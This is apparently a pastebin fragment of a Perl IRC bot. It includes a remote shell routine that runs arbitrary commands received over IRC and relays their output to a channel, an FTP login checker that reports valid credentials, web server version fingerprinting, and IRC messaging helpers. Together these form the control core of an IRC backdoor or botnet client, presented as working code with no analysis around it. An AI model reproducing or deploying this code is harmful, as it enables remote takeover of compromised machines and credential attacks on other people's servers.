- }
- }
- ######################################################################
- sub check_serv() {
- my $chan = $_[0];
- my $host = $_[1];
- my $def = "";
- my $sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => 80,Proto => 'tcp',Timeout => 3);
- if(!$sock){
- #print "$host Is Down\r\n";
- &msg("$chan","14,1[00 cServ 14]08 $host 07is 04Can't Connect/Down!");
- exit;
- }
- print $sock "HEAD / HTTP/1.0\n\n";
- while($line=<$sock>){
- if($line =~/^Server/){
- @arr=split("Server: ", $line);
- #print"\r\n$host runs $arr[1]";
- my $version = $arr[1];
- &msg("$chan","14,1[00 cServ 14]08 $host 07Runs09 $version");
- $def = 1;
- exit;
- }
- }
- close($sock);
- if(!$def){
- &msg("$chan","14,1[00 cServ 14]04 Can't Get server version from 00=>08 $host");
- }
- }
- ######################################################################
- sub ftp_connect {
- my $host = $_[0];
- my $user = $_[1];
- my $pass = $_[2];
- my $chan = $_[3];
- my $success = 1;
- #print "FTP => HOST = $host USER = $user PASS = $pass CHAN = $chan\r\n";
- my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 2);
- if(!$ftp){
- &msg("$chan","3,1[3FTP] 00,01ftp://09,01".$user.":09,01".$pass."00@04,01".$host."00 => 04Can`t Connect!");
- exit;
- }
- my $login = $ftp->login($user,$pass);
- if($login){
- $success = 0;
- }
- $ftp->quit;
- if ($success == 0) {
- &msg("$chan","3,1[3FTP] 00,01ftp://09,01".$user.":09,01".$pass."00@04,01".$host."00 => 09Success!");
- }
- elsif($success == 1){
- &msg("$chan","3,1[3FTP] 00,01ftp://09,01".$user.":09,01".$pass."00@04,01".$host."00 => 04BAD LOGIN!");
- }
- }
- ###################################################
- ################################################
- #########################################
- sub isFound() {
- my $status = 0;
- my $link = $_[0];
- my $reqexp = $_[1];
- my $res = &get_content($link);
- if ($res =~ /$reqexp/) { $status = 1 }
- return $status;
- }
- sub get_content() {
- my $url = $_[0];
- my $ua = LWP::UserAgent->new(agent => $defuagent);
- $ua->timeout(5);
- my $req = HTTP::Request->new(GET => $url);
- my $res = $ua->request($req);
- return $res->content;
- }
- #########################################
- sub shell() {
- my $path = $_[0];
- my $cmd = $_[1];
- if ($cmd =~ /cd (.*)/) {
- chdir("$1") || &msg("$path","4No such file or directory");
- return;
- }
- elsif ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- my @output = `$cmd 2>&1 3>&1`;
- my $c = 0;
- foreach my $output (@output) {
- $c++;
- chop $output;
- &msg("$path","$output");
- if ($c == 5) { $c = 0; sleep 2; }
- }
- exit;
- }}
- }
- sub isAdmin() {
- my $status = 0;
- my $nick = $_[0];
- if ($nick eq $admin) { $status = 1; }
- return $status;
- }
- sub msg() {
- return unless $#_ == 1;
- sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
- }
- sub nick() {
- return unless $#_ == 0;
- sendraw("NICK $_[0]");
- }
- sub notice() {
- return unless $#_ == 1;
- sendraw("NOTICE $_[0] :$_[1]");
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement